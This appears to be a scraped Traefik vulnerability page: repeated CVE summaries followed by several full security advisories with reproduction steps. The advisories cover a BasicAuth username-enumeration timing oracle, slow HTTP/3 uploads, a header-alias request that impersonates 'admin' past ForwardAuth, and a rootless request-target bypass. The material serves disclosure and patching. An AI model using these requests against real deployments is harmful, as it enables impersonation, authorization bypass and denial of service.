See how traefik compares to other vendors in security performance
Traefik 2.x before 2.11.60 and 3.x before 3.7.16 sends ForwardAuth subrequests (and, in 3.7, Ingress NGINX auth-url requests) through an auth-server connection pool shared by all clients, exposing connection-bound NTLM or Negotiate authentication. An unauthenticated attacker can reuse another user's authenticated connection, receiving the victim's identity via authResponseHeaders to access backends as that user.
Traefik 2.x before 2.11.60 and 3.x before 3.7.16 sends ForwardAuth subrequests (and, in 3.7, Ingress NGINX auth-url requests) through an auth-server connection pool shared by all clients, exposing connection-bound NTLM or Negotiate authentication. An unauthenticated attacker can reuse another user's authenticated connection, receiving the victim's identity via authResponseHeaders to access backends as that user.
Traefik 3.7.11 before 3.7.15 contains an authorization bypass in the Kubernetes Ingress NGINX provider that skips the cross-namespace check on the auth-tls-secret annotation when a cached client authentication TLS option is reused. Users who can create Ingresses can reference another namespace's CA secret already used by another Ingress, enforcing it on their own routes and learning whether it exists, without disclosure of its contents.
Traefik from 3.2.0 before 3.7.15 contains a data race in the experimental FastProxy that allows unauthenticated attackers to crash the process by abusing HTTP/1 protocol upgrades. Attackers can repeatedly open and abort upgraded connections such as WebSocket, corrupting the unsynchronized shared bufio.Reader and triggering an unrecovered panic that terminates Traefik.
Traefik from 3.2.0 before 3.7.15 contains a data race in the experimental FastProxy that allows unauthenticated attackers to crash the process by abusing HTTP/1 protocol upgrades. Attackers can repeatedly open and abort upgraded connections such as WebSocket, corrupting the unsynchronized shared bufio.Reader and triggering an unrecovered panic that terminates Traefik.
Traefik 3.7.11 before 3.7.15 contains an authorization bypass in the Kubernetes Ingress NGINX provider that skips the cross-namespace check on the auth-tls-secret annotation when a cached client authentication TLS option is reused. Users who can create Ingresses can reference another namespace's CA secret already used by another Ingress, enforcing it on their own routes and learning whether it exists, without disclosure of its contents.
Traefik from 3.7.0-ea.1 before 3.7.15 contains an authentication bypass vulnerability in the Kubernetes Ingress NGINX provider that silently disables mTLS configured via the auth-tls-secret annotation. When another Ingress declares a path on the same host without matching auth-tls settings, Traefik falls back to default TLS options, letting unauthenticated attackers reach backends requiring client certificates.
Traefik from 3.7.0-ea.1 before 3.7.15 contains an authentication bypass vulnerability in the Kubernetes Ingress NGINX provider that silently disables mTLS configured via the auth-tls-secret annotation. When another Ingress declares a path on the same host without matching auth-tls settings, Traefik falls back to default TLS options, letting unauthenticated attackers reach backends requiring client certificates.
Traefik before 2.11.58 and 3.7.13 contains an authentication bypass vulnerability that allows unauthenticated clients to skip client-certificate checks because negated Host matchers are counted as served domains. Attackers can reach backends protected by RequireAndVerifyClientCert when a router rule with !Host() creates a TLS options conflict that falls back to the default options.
Traefik before 2.11.58 and 3.7.13 contains an authentication bypass vulnerability that allows unauthenticated clients to skip client-certificate checks because negated Host matchers are counted as served domains. Attackers can reach backends protected by RequireAndVerifyClientCert when a router rule with !Host() creates a TLS options conflict that falls back to the default options.
Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 stores its NTLM/Kerberos backend round tripper in a client-connection slot not keyed by ServersTransport, so one service's TLS client configuration is reused for another service's backend. An unauthenticated client can arm the slot via a backend issuing an NTLM or Negotiate challenge, then reach another service on the same keep-alive connection, bypassing its root CAs, server name, and certificate verification.
Traefik 2.11.x before 2.11.58 and 3.x before 3.7.14 contains a race condition in NTLM and Kerberos (Negotiate) backend authentication, where the per-connection sticky round tripper slot is read and written without synchronization. Remote attackers can send concurrent HTTP/2 or HTTP/3 requests over one connection to orphan backend connections, break connection-bound authentication, or crash Traefik.
Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 contains an authentication bypass because a first request preauthenticated with an Authorization: Negotiate token authenticates a socket in the globally shared backend connection pool, which is never isolated. Unauthenticated attackers on separate frontend connections can be assigned that NTLM/Kerberos-bound socket and perform reads or writes with the victim's identity.
Traefik from v3.7.0 before v3.7.14 contains an authentication bypass vulnerability in its Kubernetes Ingress-NGINX provider that forwards client-supplied Ssl-Client- headers on the plaintext HTTP router. When ssl-redirect is disabled alongside auth-tls-pass-certificate-to-upstream, unauthenticated attackers can send Ssl-Client-Verify: SUCCESS with a chosen certificate subject and issuer to impersonate mTLS identities.
Traefik v3.7.0 before v3.7.14 contains an improper authentication vulnerability in the Kubernetes Ingress NGINX provider that merges client CAs when auth-tls-secret names collide after dot-to-dash normalization. Attackers holding certificates from another host's CA can access a host requiring its own client CA, while that host's legitimate clients are refused.
Traefik from v3.2.0 before v3.7.14 contains an authentication bypass vulnerability in the experimental FastProxy connection pool, which fails to pin NTLM/Negotiate-authenticated backend connections to their frontend connection. Unauthenticated clients can be handed a pooled keep-alive backend connection where a victim completed an NTLM or Negotiate handshake, letting them read victim data and act as that victim.
Traefik v3.7.13 before v3.7.14 contains an access-control bypass in the Kubernetes Ingress NGINX provider, where the HTTP router generated for ssl-passthrough Ingresses on non-TLS entry points never applies the Ingress's access-control annotations. Unauthenticated attackers reaching the HTTP entry point with the Ingress host can access backends protected by auth-type, auth-url, or whitelist-source-range annotations, with nothing logged.
Traefik before v2.11.58 and v3.7.14 contains an authentication bypass vulnerability in its SNI check, which is skipped when request TLS state is nil. Unauthenticated clients can send HTTP/2 requests with the :scheme http pseudo-header over TLS on Go 1.27 builds to reach routers requiring client certificates without presenting one.
Traefik before v2.11.58 and v3.7.14 contains an authentication bypass vulnerability in its SNI check, which is skipped when request TLS state is nil. Unauthenticated clients can send HTTP/2 requests with the :scheme http pseudo-header over TLS on Go 1.27 builds to reach routers requiring client certificates without presenting one.
Traefik before 2.11.46, 3.x before 3.6.17, and 3.7.0 lack namespace validation for Ingress and Service annotations in the Kubernetes Ingress provider, allowing references to Middlewares, ServersTransports, and TLSOptions in other namespaces. Attackers able to create or update Ingress or Service resources in one namespace can set router.middlewares or service.serverstransport annotations to obtain another tenant's injected credentials or reuse its client certificates, bypassing namespace-based tenant isolation.
Summary
Traefik's BasicAuth middleware coalesces concurrent credential checks through a singleflight.Group to avoid hashing the same password many times at once. Since v3.6.11 the deduplication key was built from the submitted password plus the stored secret, so it depended on server state: a non-existent username collapsed onto one shared key while each configured username produced its own. Under attacker-controlled concurrency, a probe request arriving inside a leader request's in-flight window is served the leader's fast coalesced result when the username does not exist, but computes its own hash (slow) when the username exists — reintroducing, only in the concurrent case, the unauthenticated username-enumeration timing oracle that GHSA-g3hg-j4jv-cwfr had hardened for sequential probing. The fix derives the singleflight key from the submitted credentials (username and password) only, so it no longer depends on whether the account exists or on any stored secret. Traefik v2 is not affected: the v2.11 BasicAuth middleware does not use singleflight coalescing, and Digest authentication is not affected. The impact is limited to username enumeration; no credential disclosure or authentication bypass is possible.
The vulnerability originates on the v3.6 line, which has reached end of life; users on v3.6 or earlier v3.x must upgrade to v3.7.13 to receive the fix.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Confirmed. checkPassword derives the singleflight key from the stored secret, so the key encodes whether the submitted username exists:
- username absent, secret == "", key = len(P) + ":" + P - username present, key = len(P) + ":" + P + secretT
Every non-existent username therefore lands on one shared key, while every configured username gets its own. singleflight.Group.Do makes a follower on an equal key block on the leader's in-flight computation and return the leader's result. So an attacker who sends a leader request with a junk username and password P, then sends the probe for target T with the same P late inside the leader's window, reads user existence directly off the probe's latency: coalesced (fast) means T does not exist, own hash (slow) means T does exist.
This is the exact information leak that the notFoundSecret dummy hash at line 127 exists to remove. Sequential probing is fully equalised (measured ratio 1.00x, so the fix for cwfr / 8j2h does work); the leak reappears only under attacker-controlled concurrency. Confirmed on the current v3.7 head, which already carries the 8mrf singleflight fix, and on master (no later fix exists).
Affected code
- pkg/middlewares/auth/basicauth.go:125 (checkPassword)
Code analysis
pkg/middlewares/auth/basicauth.go:119-131 matches the finding verbatim, including the cited line 125:
go func (b basicAuth) checkPassword(user, password string) bool { // :119 secret := b.auth.Secrets(user, b.auth.Realm) // "" when the user is absent
key := strconv.Itoa(len(password)) + ":" + password + secret // :124 match, , := b.singleflightGroup.Do(key, func() (any, error) { // :125 if secret == "" { = b.checkSecret(password, b.notFoundSecret) // :127 dummy hash, equal cost return false, nil } return b.checkSecret(password, secret), nil }) return match.(bool) }
Two independent properties combine:
1. The dummy hash equalises the cost of one lookup. notFoundSecret is a configured user's real hash (slices.Collect(maps.Values(users))[0]), so absent and present users each perform exactly one hash of the same algorithm and cost. That is why the sequential control below is flat. 2. The key partitions on existence, so coalescing is not equalised. The dummy hash was placed inside the closure (commit 122175ac2, PR #12803), which is what pulls absent users into Do at all. Before that refactor, secret == "" returned false before Do was ever called.
Git archaeology of the whole sequence in this one function:
| Commit | Date | Effect | |---|---|---| | 6f469ee1e | 2024-10-10 | Introduces singleflight to dedupe concurrent hashes (Only calculate basic auth hashes once for concurrent requests). Absent users returned false before Do. | | 122175ac2 (PR #12803) | 2026-03-17 | Fix for cwfr. Moves the empty-secret branch inside the closure, which makes the key existence-dependent for the first time. | | 8c4fc8957 | 2026-04-13 | Fix for 8j2h: notFoundSecret was resolving to "", so the dummy hash was a no-op. | | b5ace8eb5 (PR #13572) | 2026-07-28 | Fix for 8mrf: adds the len(password) + ":" prefix so distinct (password, secret) pairs cannot alias. Keeps the secret in the key and keeps the empty-secret branch inside the closure. |
J15 is the residue of that last fix. It does not depend on the key collision 8mrf closed: the oracle works precisely because the keys differ. The prior analysis of 8mrf recommended keeping "the empty-secret (unconfigured) path out of any key that a configured user can share"; the shipped patch only delimited the key, so the existence dependency survived.
Affected range: >= v3.6.11 (the 122175ac2 refactor) through current v3.7 head and master. Not the v2 line, and not earlier v3 releases, which returned early for absent users. Digest auth does not use singleflight and is unaffected.
Impact scope: username enumeration only. No credential disclosure, no authentication bypass, no result sharing across identities.
Reproduction
Go tests written directly in package auth, driving the real NewBasic handler over a real HTTP server (httptest), with real bcrypt / apr1 hashes and no instrumentation of the vulnerable logic. Files: pkg/middlewares/auth/zzscanpocJ15{,b,c}test.go, deleted after the run.
Commands
cd /Users/emile/go/src/github.com/traefik/traefik go test -count=1 -run TestZZScanPoCJ15 -v ./pkg/middlewares/auth/... go test -count=1 -run TestZZScanPoCJ15Costs -v ./pkg/middlewares/auth/... go test -count=1 -run TestZZScanPoCJ15H2 -v ./pkg/middlewares/auth/...
Probe shape, exactly the claimed scenario: calibrate D with one request, launch a leader with a junk username and password P, sleep 0.9 D, then send the probe with password P and either a configured (alice) or an absent (bob) username, and time the probe. classify=OK means present > 2 absent, i.e. the oracle answered correctly.
Observed, main PoC (test 1)
[bcrypt-cost12] SEQUENTIAL control: absent=249.568275ms present=249.10215ms ratio=1.00x [bcrypt-cost12] CONCURRENT D=245.521625ms frac=0.90 round 0: absent=21.750833ms present=242.081792ms ratio=11.1x classify=OK [bcrypt-cost12] CONCURRENT D=245.521625ms frac=0.90 round 1: absent=20.197667ms present=245.234958ms ratio=12.1x classify=OK [bcrypt-cost12] CONCURRENT D=245.521625ms frac=0.90 round 2: absent=25.675958ms present=243.981375ms ratio=9.5x classify=OK [bcrypt-cost10] SEQUENTIAL control: absent=61.4374ms present=61.049608ms ratio=0.99x [bcrypt-cost10] CONCURRENT D=60.54675ms frac=0.90 round 0: absent=5.572875ms present=60.8345ms ratio=10.9x classify=OK [bcrypt-cost10] CONCURRENT D=60.54675ms frac=0.90 round 1: absent=4.042292ms present=61.988792ms ratio=15.3x classify=OK [bcrypt-cost10] CONCURRENT D=60.54675ms frac=0.90 round 2: absent=4.53825ms present=61.557791ms ratio=13.6x classify=OK [apr1-short-pw] SEQUENTIAL control: absent=360.7µs present=373.116µs ratio=1.03x [apr1-short-pw] CONCURRENT D=370.792µs frac=0.90 round 0: absent=378.167µs present=409.458µs ratio=1.1x classify=FAIL [apr1-short-pw] CONCURRENT D=370.792µs frac=0.90 round 1: absent=352.416µs present=333.875µs ratio=0.9x classify=FAIL [apr1-short-pw] CONCURRENT D=370.792µs frac=0.90 round 2: absent=374.209µs present=349.125µs ratio=0.9x classify=FAIL [apr1-8000B-pw] SEQUENTIAL control: absent=22.159325ms present=21.999433ms ratio=0.99x [apr1-8000B-pw] CONCURRENT D=22.457583ms frac=0.90 round 0: absent=22.089458ms present=22.516708ms ratio=1.0x classify=FAIL [apr1-8000B-pw] CONCURRENT D=22.457583ms frac=0.90 round 1: absent=698.042µs present=21.877ms ratio=31.3x classify=OK [apr1-8000B-pw] CONCURRENT D=22.457583ms frac=0.90 round 2: absent=1.570875ms present=21.945417ms ratio=14.0x classify=OK
The sequential control is the decisive part: 1.00x / 0.99x / 1.03x / 0.99x on every algorithm. The constant-time countermeasure is intact for one-request-at-a-time probing, so the 10x to 15x concurrent separation is attributable to the coalescing and to nothing else. That rules out the alternative explanation that this is just cwfr / 8j2h still unfixed.
Observed, per-algorithm hash cost (test 2)
bcrypt cost10 / short pw -> 60.5919ms per hash bcrypt cost12 / short pw -> 242.384558ms per hash apr1 / short pw -> 128.333µs per hash apr1 / 8000-byte pw -> 42.575816ms per hash
Observed, single HTTP/2 connection (test 3)
Both probes multiplexed as two streams over one TLS connection, which pins them to a single Traefik process even behind an L4 load balancer fronting several replicas:
h2 single-connection: D=63.048ms h2 round 0: absent=7.931459ms present=65.87375ms ratio=8.3x classify=OK h2 round 1: absent=4.255667ms present=64.193291ms ratio=15.1x classify=OK h2 round 2: absent=6.696417ms present=64.695208ms ratio=9.7x classify=OK
Conclusion: REPRODUCED, 9/9 correct classifications on bcrypt, single-shot, no statistics.
Claim-by-claim audit of the finding text:
(truncated ; full analysis in the linked internal report)
Documentation grounding
Not working-as-intended. The governing project document puts this class explicitly in scope.
- docs/content/security/ (header-underscores, request-path, content-length, http2-header-memory, multi-tenant-kubernetes) has no page covering BasicAuth, the timing posture or the singleflight dedup. Grep for timing|basicauth|basic auth|enumerat|singleflight across that directory: no match. No governing security doc, hence no WAI signal from there. - docs/content/contributing/security-decisions.md, section Authentication Middleware Correctness, is the settled public position and it is directly on point:
> Our position. In scope: credential or identity handling that leaks across requests or users, observable timing differences that disclose whether a principal exists, and credentials forwarded to a destination the operator did not authorise. > > Where the line is. Choosing a weak authentication mechanism, or configuring it permissively, is the operator's decision. The middleware failing to deliver what its documentation promises is ours.
(truncated ; full analysis in the linked internal report)
Precedent in comparable projects
Corpus refreshed 2026-08-24 for nginx, ingress-nginx, kong, caddy, apisix, nginx-plus; envoy (2026-06-29), envoy-gateway (2026-06-15), haproxy (2026-07-16) and istio (2026-05-12) are staler.
No exact analogue of a request-deduplication timing oracle. Adjacent prior art:
- Envoy, CVE-2026-47775, medium: "OAuth2 Filter: Padding Oracle via AES-256-CBC Cookie Decryption". A side-channel oracle inside an auth filter, published as a medium CVE. Framed on the observability of the discrepancy, not on the difficulty of measuring it. - Envoy Gateway, CVE-2026-53715 / GHSA-8fv2-88gg-hm7q, medium: "Wasm cache ServeHTTP reads mappingPath2Cache without lock". A concurrency defect in a shared per-process cache in the request path, treated as a real medium CVE and fixed by correcting the shared-state handling. - APISIX, CVE-2025-62232, high: basic-auth credential exposure. Same component, unrelated mechanism (logging).
Takeaway: the industry treats side-channel oracles in auth filters, and concurrency defects in shared per-process request-path caches, as genuine publishable CVEs of roughly this severity. Nothing in the corpus argues the class is by design. The strongest precedent, however, is not a competitor: it is Traefik's own two published CVEs on this exact guarantee.
Recommended fix
Assign for fix. No fix exists: gh search prs --repo traefik/traefik "singleflight" returns only PR #13572 (the merged 8mrf key-collision fix) and "basic auth timing" only PR #12803 / #12796; git log --all on the checkout shows b5ace8eb5 as the last change to pkg/middlewares/auth/ and master (174e5d811, a merge of v3.7) carries nothing later.
Fix shape: remove the secret from the key and qualify it by username. Something along the lines of
go key := strconv.Itoa(len(user)) + ":" + user + ":" + password
with the dummy-hash branch left inside the closure. This is strictly better than the current key on all four counts:
- It closes J15: the key no longer encodes existence, so two absent users no longer share a bucket that a present user is excluded from. Coalescing then happens only for an identical (user, password) pair, which leaks nothing an attacker did not already supply. - It closes 8mrf structurally rather than by delimiting: the stored hash never enters the key, so no choice of password can alias a configured user's key. The len prefix is still needed, now on user, to keep ("ab", "c") and ("a", "bc") apart. - It preserves the purpose of 6f469ee1e: the case that commit exists for is a burst of concurrent requests carrying the same credentials, which is exactly what a username-qualified key still dedupes. - It keeps the constant-time property: one hash of notFoundSecret for absent users, one hash of secret for present ones, unchanged.
Do not fix this by making the dummy branch share the leader's timing envelope; as the finding correctly notes, that only helps if the key stops depending on secret == "".
Secondary, low cost: restore the "Timing attacks" admonition that PR #12803 added to the BasicAuth page. It is the statement of the guarantee, it is the thing security-decisions.md holds the project to, and it is currently absent from the v3.7 docs tree.
If filed: new cluster slug basicauth-singleflight-existence-oracle, sibling of basicauth-singleflight-key-collision, affected range >= v3.6.11 through the current v3.6 / v3.7 heads, v2 unaffected, digest auth unaffected. Correct the 40x claim and the $apr1$ "trivial" claim in the published description per the audit table above.
Provenance
Found by an external automated code scan (CLAUDE-SECURITY-20260824-122205) of pkg/middlewares, pkg/proxy, pkg/server, pkg/muxer and pkg/tls on branch v3.7 at commit d5072ce7b8765c9574246072e05dd81d84950da7, then triaged with the advisory-check process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt.
Triage outcome : Likely Valid, confidence High, reproduced (yes). Expected publication likelihood at triage time : High.
Scanner finding id : F16. Internal report : findings/scan-20260824/verdicts/J15.md in the security-advisor repository.
</details>
---
Summary
There is a medium severity vulnerability in Traefik's HTTP/3 entry points: the respondingTimeouts settings were not applied to the HTTP/3 request path. readTimeout in particular is on by default at 60s and is documented as bounding the time to read the entire request including its body, but it is enforced as a deadline on the TCP connection, which cannot reach a QUIC stream, and Traefik's HTTP/3 server was constructed with no timeout of any kind. An unauthenticated client that trickles a request body therefore holds a request open for as long as it chooses, and with it one upstream connection per request, at negligible cost to itself. Backends with bounded connection pools are the practical pressure point.
The HTTP/3 path lost these timeouts in v2.8.2, when a quic-go API change removed the embedded http.Server that had carried them; every release from v2.8.2 onward is affected, and releases before v2.8.2 are not. Traefik v2.8.2 through v2.10.x and v3.0 through v3.6 are affected and are no longer maintained: they will not receive a patch on their own line, and the remedy for their users is to upgrade to v2.11.56 or v3.7.12.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.56 - https://github.com/traefik/traefik/releases/tag/v3.7.12
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
entryPoints.<name>.transport.respondingTimeouts.readTimeout is documented as:
"Set the timeouts for incoming requests to the Traefik instance. This is the maximum duration for reading the entire request, including the body." — Default: 60s
It is on by default and it works over HTTP/1.1 and HTTP/2. It has no effect on HTTP/3.
The consequence is not that a hardening option was left unset. It is that every Traefik deployment with http3 enabled carries a 60-second bound that the operator has every reason to believe is in force, and which is silently absent on that protocol. A single client trickling one body byte every few seconds holds a request open indefinitely, and with it one upstream connection per request.
readTimeout is applied as a deadline on the TCP connection. HTTP/3 does not have one, and Traefik's HTTP/3 server is constructed with no timeout of any kind.
Steps to reproduce
No containers, VMs or cloud services — the official release binary, curl, openssl, and a 68-line Python standard-library backend. Everything is attached.
sh bash reproduce.sh # readTimeout 5s, ~40 seconds MODE=default bash reproduce.sh # the stock 60s default, ~4 minutes
By hand:
1. Static config (conf/traefik.yml, complete and unredacted). Note there is no respondingTimeouts block at all — this is the documented 60s default:
yaml global: checkNewVersion: false sendAnonymousUsage: false
log: level: DEBUG
entryPoints: websecure: address: ":8443" http3: advertisedPort: 8443
providers: file: filename: conf/dynamic.yml
api: dashboard: false
2. Dynamic config (conf/dynamic.yml):
yaml http: routers: backend-router: rule: "PathPrefix(/)" service: backend-svc entryPoints: [websecure] tls: {} services: backend-svc: loadBalancer: servers: - url: "http://127.0.0.1:8080" tls: certificates: - certFile: cert.pem keyFile: key.pem
3. A self-signed cert, so no CA install and no sudo:
sh openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 30 -nodes \ -subj "/CN=localhost" -addext "subjectAltName=DNS:localhost,IP:127.0.0.1"
4. A backend that reads the request body before responding, as a real HTTP/1.1 server does (backend.py, standard library only). This matters: a backend that answers the request headers alone lets Traefik release the upstream connection immediately, which hides the behaviour entirely.
sh python3 backend.py 8080 & ./traefik --configFile=conf/traefik.yml
5. The same slow upload over each protocol. The hold must exceed the timeout under test, so 92 seconds against the 60-second default:
sh { for i in $(seq 1 23); do printf 'x'; sleep 4; done; } | \ curl -v -k -T - --http1.1 https://localhost:8443/
{ for i in $(seq 1 23); do printf 'x'; sleep 4; done; } | \ curl -v -k -T - --http3-only https://localhost:8443/
Result
Traefik v3.7.10 (langres, go1.26.5), official traefikv3.7.10linuxamd64.tar.gz, sha256 01811bb12d44f17280550f425f5e3128d6c325f2665c09e67a651ca535f490ce.
Upstream connection lifetime measured at the backend — the client's view only shows the absence of a server action, which proves nothing on its own:
| config | hold | HTTP/1.1 (control) | HTTP/3 | |---|---|---|---| | stock — documented 60s default | 92 s | 59.99 s — released at the documented default | 92.94 s — held for the entire window | | readTimeout: 5s | 30 s | 4.99 s | 30.98 s |
The HTTP/1.1 column is the control and it is the point of the exercise: the timeout is demonstrably live on this exact binary, releasing the upstream at its configured value. The HTTP/3 request, in the same run against the same instance with the same setting, ran to completion with the upstream pinned throughout. Traefik returned 499 on the aborted HTTP/1.1 arm and took no action at all on HTTP/3 — no RSTSTREAM, no H3REQUESTINCOMPLETE, no connection close.
The setting is not being silently discarded: Traefik's own DEBUG log prints the loaded static configuration including "respondingTimeouts":{"idleTimeout":"3m0s","readTimeout":"5s"}. Full curl -v output, backend logs and Traefik DEBUG logs for every arm are in evidence/.
Cause
readTimeout is a TCP connection deadline — pkg/server/serverentrypointtcp.go:273:
go if e.transportConfiguration.RespondingTimeouts.ReadTimeout > 0 { err := writeCloser.SetReadDeadline(time.Now().Add(time.Duration(e.transportConfiguration.RespondingTimeouts.ReadTimeout)))
A deadline on a TCP connection cannot reach a QUIC stream.
And the HTTP/3 server is given no timeout of any kind — pkg/server/serverentrypointtcphttp3.go:65:
go h3.Server = &http3.Server{ Addr: config.GetAddress(), Port: config.HTTP3.AdvertisedPort, Handler: httpsServer.Server.(http.Server).Handler, TLSConfig: &tls.Config{GetConfigForClient: h3.getTLSConfigForClient}, QUICConfig: &quic.Config{ Allow0RTT: false, }, ConnContext: func(ctx context.Context, c quic.Conn) context.Context {
It reuses the HTTPS server's handler and inherits none of its timeouts. There is therefore no duration control on the HTTP/3 request path at all — not readTimeout, not idleTimeout, nothing.
Note that this cannot be fixed by passing a field through: quic-go's http3.Server exposes no request-read deadline. The remedy has to be enforced around the request body inside the handler, or upstream in quic-go.
Suggested remedy
In preference order:
1. Enforce readTimeout on the HTTP/3 path in the handler. Traefik already passes the HTTPS server's handler to http3.Server, so when RespondingTimeouts.ReadTimeout > 0 it can wrap r.Body for HTTP/3 requests in a reader that enforces the deadline. 2. Add a request-read deadline upstream in quic-go's http3.Server and pass it through. 3. At minimum, document it. See below — the current documentation does not tell an operator this.
A sketch of option 1
Offered as a description of the shape, not as a patch. I have not built or tested this against Traefik, and I am not going to present untested code as though I had. If a working, tested patch would be useful, say so and I will prepare one properly and verify it against the reproducer above.
Where the HTTP/3 handler is wired up — serverentrypointtcphttp3.go, around the http3.Server construction — the handler passed in could be wrapped so that, when ReadTimeout is configured, an HTTP/3 request body carries the same deadline the TCP path gets from SetReadDeadline:
go // Roughly: for HTTP/3 requests only, and only when the timeout is set. if readTimeout > 0 && r.ProtoMajor == 3 && r.Body != nil { r.Body = deadlineBody(r.Body, readTimeout) }
The part worth knowing, because it is what makes the approach work rather than merely look tidy: closing the request body cancels the QUIC stream read. In quic-go, http3's body Close() calls str.CancelRead(...), which unblocks a Read that is already parked waiting on the client. So a timer that closes the body on expiry bounds both a client that trickles and a client that simply stops sending — the latter being the case a wrapper that only checks the clock on each returning Read would miss entirely.
Returning os.ErrDeadlineExceeded from the wrapped Read keeps the failure classified as a timeout rather than a client abort, which matters for whatever status code and logging you decide is right.
Two design questions I would not want to answer on your behalf: whether HTTP/3 should reuse respondingTimeouts.readTimeout or get its own setting, and whether enforcement belongs in the handler wrapper or somewhere closer to the entrypoint. Both are your call.
A documentation issue, separately
Two things in the docs are worth correcting regardless of how the code question is resolved.
1. The readTimeout description carries no protocol qualification. It says "the maximum duration for reading the entire request, including the body", which is exactly what an operator relies on. The entrypoint page does note that respondingTimeouts have "no effect for UDP entryPoints", but that does not cover this case: HTTP/3 here is served on an HTTP entrypoint with an http3: block, not on a Traefik UDP entrypoint, which is a separate feature for UDP routers. An operator who adds http3: to their existing HTTPS entrypoint has not created a UDP entrypoint and has no reason to read that caveat as applying to them.
2. SECURITY.md's supported-versions table is stale. It lists 3.6.x as supported and < 3.6.x as unsupported, while 3.7.10 is the current release. Anyone checking whether their version is in scope before reporting gets a confusing answer.
Impact
Each held request occupies one upstream connection for as long as the client chooses, at negligible cost to the client, and the same client can open many. Backends with bounded connection pools are the practical pressure point.
I have not measured a concurrency ceiling on Traefik itself, so I am not asserting one. If that number matters to your assessment, tell me and I will measure it.
LLM ("AI") use disclosure
Not required by your policy, but stated because it is true and you should be able to weigh it. I am a penetration tester, not a Go developer. The finding, the attack concept and the decision to measure the upstream leg rather than the client are mine. An LLM coding assistant (Claude) built the test harness, ran the matrix, and located the two source citations; I verified those by hand against the v3.7.10 tag and ran the reproducer myself. I am a human and I will be the one replying in this thread.
Disclosure
Bishop Fox operates a 90-day disclosure policy, starting the day this is submitted, with extensions where a fix is in progress. Tell me what you would prefer and I will work to it.
Environment
- Traefik v3.7.10, official traefikv3.7.10linuxamd64.tar.gz, sha256 01811bb12d44f17280550f425f5e3128d6c325f2665c09e67a651ca535f490ce - Kali GNU/Linux (WSL2), kernel 6.6.114.1 - curl 8.19.0 with ngtcp2 1.21.0 / nghttp3 1.15.0### Summary Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.
Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC Complete instructions, including specific configuration details, to reproduce the vulnerability.
Impact What kind of vulnerability is it? Who is impacted?
</details> ---
Summary
There is a medium severity vulnerability in Traefik's handling of request headers whose name aliases another header name. Go canonicalizes header names on dashes only, so X-Auth-User, XAuthUser and X.Auth.User are three distinct headers to Traefik, while backends that derive variable names from header names (CGI, WSGI, PHP, NGINX, and others) collapse all of them into the same variable. A client can therefore smuggle an alias of a header that Traefik manages past the middleware managing it — for example a dot-form X.Authenticated.User alongside the canonical X-Authenticated-User written by the ForwardAuth middleware — and have such a backend read the client-supplied value instead of the identity Traefik asserted. Any header Traefik sets is exposed, not only ForwardAuth's. This is an incomplete-fix sibling of GHSA-x677-9fxg-v5c5, which blocked only the underscore form.
The mitigation is the new aliasHeadersStrategy entry point option. It defaults to keep, which preserves the previous behavior for backwards compatibility, so it must be explicitly set to delete or reject to take effect.
Traefik v1.x, the v2 releases up to v2.11.55 and the v3 releases from v3.0.0 to v3.7.11 are affected. The unmaintained lines among them will not receive a patch of their own, and the remedy for their users is to upgrade to v2.11.56 or v3.7.12 and set aliasHeadersStrategy.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.56 - https://github.com/traefik/traefik/releases/tag/v3.7.12
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary Traefik's ForwardAuth middleware removes the configured canonical identity header before copying the value returned by the auth service. However, a client-supplied dot-form alias such as X.Authenticated.User survives both this replacement and underscoreHeadersStrategy: delete.
The tested PHP 8.2 built-in SAPI maps X-Authenticated-User and X.Authenticated.User to the same HTTPXAUTHENTICATEDUSER server variable. In Traefik's tested HTTP/1 backend path, the client value is serialized last and overrides the identity asserted by ForwardAuth.
A client whom ForwardAuth permits as a lower-privilege identity can therefore be treated by the backend as another user or role.
Details At v3.7.10, pkg/server/serverentrypointtcp.go:800-818 removes or rejects only names containing . After successful authentication, pkg/middlewares/auth/forward.go:314-326 deletes and replaces only the canonical authResponseHeaders key. The dot alias remains in req.Header and the standard reverse proxy forwards both legal field names.
Go's HTTP/1 writer sorts header names lexically, placing X-Authenticated-User before X.Authenticated.User. PHP then collapses both into one $SERVER key, so the attacker value deterministically wins.
This is an incomplete-fix sibling of GHSA-x677-9fxg-v5c5: the published underscore input is blocked by the new entry-point strategy, while the dot input bypasses that mitigation on the current stable release.
PoC traefik-dot-forwardauth-poc.zip
run: bash docker compose up -d bash verify.sh docker compose down
The decisive request is:
http GET /probe HTTP/1.1 Host: 127.0.0.1:18080 X.Authenticated.User: admin Connection: close
Expected backend identity: lab-user, as returned by ForwardAuth.
Observed on v3.7.10: admin.
The script also verifies that requests without the alias, with the canonical header, and with the already-fixed underscore alias all produce lab-user.
Impact Applications that authorize requests using a ForwardAuth-provided identity header can receive an attacker-selected username or role instead. This was runtime-verified with PHP 8.2.27 and 8.2.33; impact on other normalization-prone backends is conditional. A lower-privilege permitted client may consequently impersonate another user or administrative role, affecting confidentiality and integrity.
This report does not claim bypass of a ForwardAuth denial: the auth service must first permit the request.
</details> ---
Summary
Traefik accepts an HTTP/1.x request whose request-target is in rootless / opaque form (for example GET http:http://internal-vhost/admin HTTP/1.1). Go parses this into URL.Opaque with an empty URL.Path, so Traefik evaluates all routing, path-sanitization, middleware and access-log decisions against a path that normalizes to /, while the proxy forwards the attacker's original target byte-for-byte to the backend. Router path/prefix guards, forwardAuth path-scoped policies and the encodedCharacters hardening never see the real target, and the access log records every such request as GET / HTTP/1.1. Against a backend that resolves a rootless target as a path, this yields cross-vhost routing bypass, path-scoped authorization bypass and access-log evasion — unauthenticated, with stock entrypoint defaults.
Traefik v3.0 through v3.6 are end-of-life and are also affected; they will not receive a fix on their own line. Users on those versions must upgrade to v3.7.13.
Patches
